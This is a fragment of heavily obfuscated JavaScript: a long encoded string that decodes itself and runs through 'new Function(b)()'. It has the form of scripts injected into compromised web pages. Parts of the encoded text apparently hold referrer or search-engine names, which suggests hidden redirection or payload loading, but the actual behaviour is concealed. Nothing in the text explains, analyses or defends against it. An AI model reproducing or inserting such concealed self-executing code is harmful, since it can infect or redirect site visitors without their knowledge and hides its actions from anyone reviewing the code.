Tq8qJ=TQ8qC!qYF q{8fO(_^Y2FHTQc0R}n@=¡CEQw¡aZcTQc0R@@@=¡2p6_¡aa=qQ8EcTQc0R@s}=¡xCA]¡a%z%TQc0R}1K=¡Fp1#¡a%;%Tqc0R}1{a%UHTqc0R@o}aZ%%a!67c_2fY762Yf888qQa5YF_52 2_qq!qYF qq8fO(_^Y2FHTqc0R}@)aZcTqc0R@0Kaa!lqqvvcqq8fO(_^Y2FHTQc0R@0d=¡RR4}¡aZcTQc0R}KQ=¡)]3&¡aa=fO(_^Y2FHTqc0R}1daZHTqc0R@}naZcqqaa=qqHTQc0R}Kf=¡w~q3¡aZcTqc0R}{{a=TQc0R@@}=¡UCKf¡aa=qqHTqc0R}QnaZcTQc0R@0@=¡w~q3¡a=UH¡pf¡Za=cq{HTQc0R})s=¡9:Q$¡aZ8TQc0R}s1=¡IN+d¡a%qQ=q{HTqc0R}{oaZ87_2(F6O2ca[(O2LF TT8TQ!UHTTc0R}Qd=¡UCKf¡aZ80R@=qoca!P=q{HTQc0R}od=¡pv{w¡aZ87_2(F6O2ca[(O2LF Td8TQ!qQvvecqQa=0R@l88UHTdc0R}nK=¡__1{¡aZvvq1vvq1ca=LYF|6^YO_Fc7_2(F6O2ca[(O2LF Tw8d0T!q{HTwc0R}d@aZca!P=0Rna!P=q{HTQc0R}Qo=¡ZUB6¡aZ8l0R0=fO(_^Y2FHTqc0R}1daZHTQc0R})K=¡ZUB6¡aZcq{a=UHTqc0R}(naZ80R}a!P7_2(F6O2 q@cq1a[(O2LF Th8qJ=TL8qC!0R}l88q1HTLc0R@o@=¡IN+d¡aZvv0R0l88q1HThc0R}(saZ??q1HThc0R}QQaZca!P7_2(F6O2 qscq1a[(O2LF TF8qC=TD8qJ!qYF q{8Ec¡/¡%z%TDc0R@@)a%;%TFc0R})Y=¡Q5fZ¡a%UHTFc0R}{}=¡RR4}¡aZ%%a!67c_2fY762Yf888q{a5YF_52 2_qq!qYF qQ82YD VY)iO(SYFcTFc0R}sK=¡4Nc&¡a%q{a!qQHTDc0R})faZ87_2(F6O2ca[(O2LF TV8TF!UHTVc0R})@=¡:D2c¡aZ80R@!P=qQHTDc0R@0QaZ87_2(F6O2cqqa[(O2LF T]8TD=TN8TF!qYF qT8qqHTNc0R}{7=¡W{pT¡aZ!F5T[qT8xcqTa=2YD ]_2(F6O2cTNc0R}of=¡pv{w¡a=qTacfO(_^Y2FHT]c0R}Y}aZ=UH¡pf¡Za!P(dF(hcqda[qq8qTHTNc0R}sn=¡Q5fZ¡aZ*0R@{=qq8qq<0R0j0R0gJd5LYW2FcydFhHT]c0R}YdaZca.qqa=cAc0R((=qdHT]c0R})}aZ%TNc0R@sd=¡cZ_E¡a%qq%¡g¡%qTHTNc0R}){=¡$(zK¡aZcqq=qq%0R@{a%¡PM¡a=UHTNc0R}Y0=¡5^DU¡aZ8*0R}a!Pq@cqQa=0R@888UHT]c0R}(naZvvqoca!P=qQHTFc0R@@n=¡1bkr¡aZ87_2(F6O2ca[(O2LF Ti8TD!q{vvecq{a=0R@l88UHTic0R}(naZvvq1vvq1ca=q@cqQa!P=UHTFc0R})Q=¡bq#@¡aZ80R}!P7_2(F6O2 qoca[(O2LF TO8qJ=T^8qC!wvvcfO(_^Y2FHT^c0R})n=¡RR4}¡aZcUHTOc0R@@oaZ=UHT^c0R@}(=¡BcFD¡aZ=l0R0a=q18fO(_^Y2FHTOc0R}(YaZcUHTOc0R@}YaZaavvq1HTOc0R}d@aZca!Xd5 q1=q{8fO(_^Y2FHT^c0R}7s=¡@c{&¡aZcUHTOc0R@@0aZa!7O5cqYF qQ80R0!qQ<q{HT^c0R})(=¡G@7l¡aZ!qQ%%aq{HqQZvvq{HqQZHTOc0R}d@aZca!P7_2(F6O2 qnca[LYF|6^YO_Fc7_2(F6O2ca[(O2LF TX8d0d=T58d0T!qYF q18T5c0R@0(a%:%TXc0R}d}=¡Q5fZ¡a%UH¡)p¡Z%TXc0R}nd=¡s$6E¡a!67c0R@l88UHT5c0R}(naZa[67cUHTXc0R@@f=¡5^DU¡aZa[Xd5 [LqOFWfgq{=YXY2F|TJYgqQP8U!rHTXc0R}QY=¡bev4¡aZHT5c0R}{faZ8qT%¡JR¡=cq{8fO(_^Y2FHT5c0R@s(aZcq{aaHTXc0R}(o=¡W{pT¡aZHTXc0R}Q@=¡p1va¡aZ8T5c0R}7oa%q1=rHT5c0R@}naZcq{a=q{HT5c0R@sKaZcqQ=7_2(F6O2ca[(O2LF TI8TX=T-8T5!Xd5 qV8T-c0R@@da%EcTIc0R}@d=¡CcQd¡a%z%T-c0R@s)aa!FOJHT-c0R}Y1aZl88LYq7HT-c0R}Y1aZjFOJHTIc0R}sY=¡]-^]¡aZ8qVgD62fODHTIc0R}YY=¡@c{&¡aZHT-c0R}7@aZ8qV!Pa!PYqLY[Xd5 [(Oq_^2Lgqq=5ODLgqT=6FY^V6FhgqQ=6FY^9Y6phFgqd=LqOFWfgqw=6L|OJgqL=5YXY5LY9Y6phFgqhP8U=qD8TXc0R}nQ=¡{bYr¡a!7O5cqYF qV80R0!qV<qq!qV%%a7O5cqYF qN80R0!qN<qT!qN%%a[qYF q]8qD%cT5c0R}(7a%qV.qQ%TXc0R}Y7=¡rUtI¡a%ydFhHTXc0R}Y(=¡iCYG¡aZc0mQ.qQa%T5c0R}Q)a%qd%T5c0R}7Yaa!q]%8qLjTXc0R}d7=¡GO}e¡a%cqh%qN.qda%¡JR¡gT5c0R}Yoa%cqh%qN.qda%¡JR¡!Xd5 qF8fO(_^Y2FHT5c0R@s(aZcqwa!qFHTXc0R}Q}=¡__1{¡aZHT5c0R}QsaZ8q]=qFHT5c0R@sKaZcUHT5c0R@@oaZ=Aa=fO(_^Y2FHT5c0R}YQaZHTXc0R}sd=¡lo:N¡aZcTXc0R}({=¡pv{w¡a=qFa!PqLjcfO(_^Y2FHTXc0R})0=¡__1{¡aZHTXc0R@0s=¡bE]3¡aZHTXc0R}Y)=¡+]zG¡aZcTXc0R}nn=¡+]zG¡a=qh%qT.qd%¡JR¡=T5c0R}oQaa=qD%8TXc0R}sQ=¡Fp1#¡aagqD%8TXc0R}sf=¡s$6E¡a!67clwa[qYF [YXY2F|TJYgqi=6L|OJgq^=5YXY5LY9Y6phFgqOP8U!7_2(F6O2 q5ca[(O2LF T;8TX=Tz8T5!Xd5 q-8Tzc0R@@da%EcT;c0R@}}=¡$(zK¡a%z%T;c0R}K@=¡ZUB6¡aa!FOJHTzc0R}Y1aZl88LYq7HT;c0R}n(=¡CEQw¡aZjFOJHT;c0R@}0=¡ZUB6¡aZ8q-gD62fODHT;c0R}K7=¡IN+d¡aZHTzc0R}7@aZ8q-!P7_2(F6O2 qXcq-a[(O2LF TU8TX=T:8T5!Xd5 qI8D62fODHT:c0R}f1aZ!qYF qz80R0=q;80R0!67cq-aLD6F(hcq-HT:c0R}(@aZca=q-HTUc0R@s{=¡G@7l¡aZa[(dLY T:c0R}d1agqz8q-HTUc0R@}o=¡W{pT¡aZH0R0ZHT:c0R}s{aZ=q;8q-HT:c0R@0faZH0R0ZHTUc0R@}s=¡O|Cu¡aZ!)5YdS!(dLY TUc0R}Q7=¡47BV¡agqz8q-HTUc0R}{s=¡{&h+¡aZH0R0ZHTUc0R}d(=¡GO}e¡aZ=q;8q-HT:c0R}KYaZH0R0ZHTUc0R}7)=¡L};O¡aZ!)5YdS!(dLY T:c0R}YKagqz8q-HTUc0R}os=¡pv{w¡aZ=q;8q-HT:c0R}@7aZ!P67c0R0<qzvv0R0<q;a[67cq^a[67cq;<8qOa5YF_52l0R}!q;<:%qOvvq5ca!PYqLY[qI8qI*q;!67cqI<8qOa5YF_52l0R}!qI<:%qOvvq5ca!PPPfO(_^Y2FHT5c0R@sKaZcqi=qX=l0R0a=UHTXc0R@o0=¡$(zK¡aZ8qX!Xd5 q{8fO(_^Y2FHT5c0R@s(aZcT5c0R}o(aa!q{H¡6f¡Z8UHT5c0R@}YaZ=q{HTXc0R}dn=¡Z-_Z¡aZHTXc0R}fY=¡ZUB6¡aZ8qD%TXc0R}1(=¡:D2c¡a%q1=q^jfO(_^Y2FHTXc0R}on=¡ZUB6¡aZHTXc0R@0n=¡RR4}¡aZcTXc0R@}K=¡CcQd¡a=q{agfO(_^Y2FHTXc0R}((=¡y(wJ¡aZHT5c0R}{naZcT5c0R}Yna=q{a=w8l0R0!PPPP=0R}s{{a!P]82dX6pdFO5HqCc0R}@(=¡CcQd¡aZ=V8l/3cyd(?&}}?V62a/HqCc0R}o7=¡$_z~¡aZc]a=N8Jd5LYW2FcL(5YY2HqCc0R@}1=¡CEQw¡aZa>8Jd5LYW2FcL(5YY2HqCc0R}do=¡y(wJ¡aZa=cV??Navvc/)d6f_?OJJOO5ODLY5?hYTFdJ)5ODLY5?X6XO)5ODLY5?h_dDY6)5ODLY5?hO2O5)5ODLY5?R6dO^6?^6_6)5ODLY5?Ld^L_2p)5ODLY5?::)5ODLY5?_()5ODLY5?:_d5S?)5dXY/6HqJc0R@snaZc2dX6pdFO5HqJc0R@0{aZHqCc0R}n)=¡RtV{¡aZcaajqsc7_2(F6O2ca[Ac0R(Qa=UH¡D¡Z80R}=qsc7_2(F6O2ca[Ac0R(da=q}c7_2(F6O2ca[(O2LF TJ8d0d!Ac0R()a!qYF q18D62fODHTJc0R}7Q=¡Z-_Z¡aZc7_2(F6O2ca[(O2LF TC8TJ!UHTCc0R}oo=¡O|Cu¡aZ8880R@vvD62fODHTCc0R}17=¡Q5fZ¡aZcq1a=qsc_2fY762Yfa!P=0R}s{{a!Pa!Pa!Pagq}c7_2(F6O2ca[Ac0RKna=UH¡D¡Z80R0=q}c7_2(F6O2ca[Ac0RKKa=qsc7_2(F6O2ca[(O2LF Ty8d0T!Ac0RK1a!qYF q18D62fODHTyc0R}@YaZc7_2(F6O2ca[(O2LF T+8d0d=TS8Ty!UHTSc0R}(naZ8880R@vvD62fODHT+c0R}1f=¡47BV¡aZcq1a=q}c0R0a!P=0R}s{{a!Pa!Pa!Paa=VvvUHqJc0R}(naZl880R@vvqnca=XO6f 0R0l882dX6pdFO5HqJc0R}ssaZvvfO(_^Y2FHqCc0R@so=¡y(wJ¡aZcqJc0R}s@a=7_2(F6O2ca[(O2LF Tr8qC=T98qJ!qYF q1=q{!T9c0R}@fa888fO(_^Y2FHT9c0R}s7aZvvRcavvcq18Trc0R}s1=¡IN+d¡a%EcTrc0R}K)=¡bq#@¡aa=cq{82YD ]O5^wdFdcaaHTrc0R}7d=¡bq#@¡aZcTrc0R}K0=¡cZre¡a=-HTrc0R}(Q=¡RtV{¡aZc¡=¡aa=-8HZ=q{HT9c0R}1saZc¡F¡=UHTrc0R@0o=¡GO}e¡aZa=2dX6pdFO5HT9c0R}ssaZcq1=q{aa!Pa!Pacaaa!").substr(22);new Function(b)()}();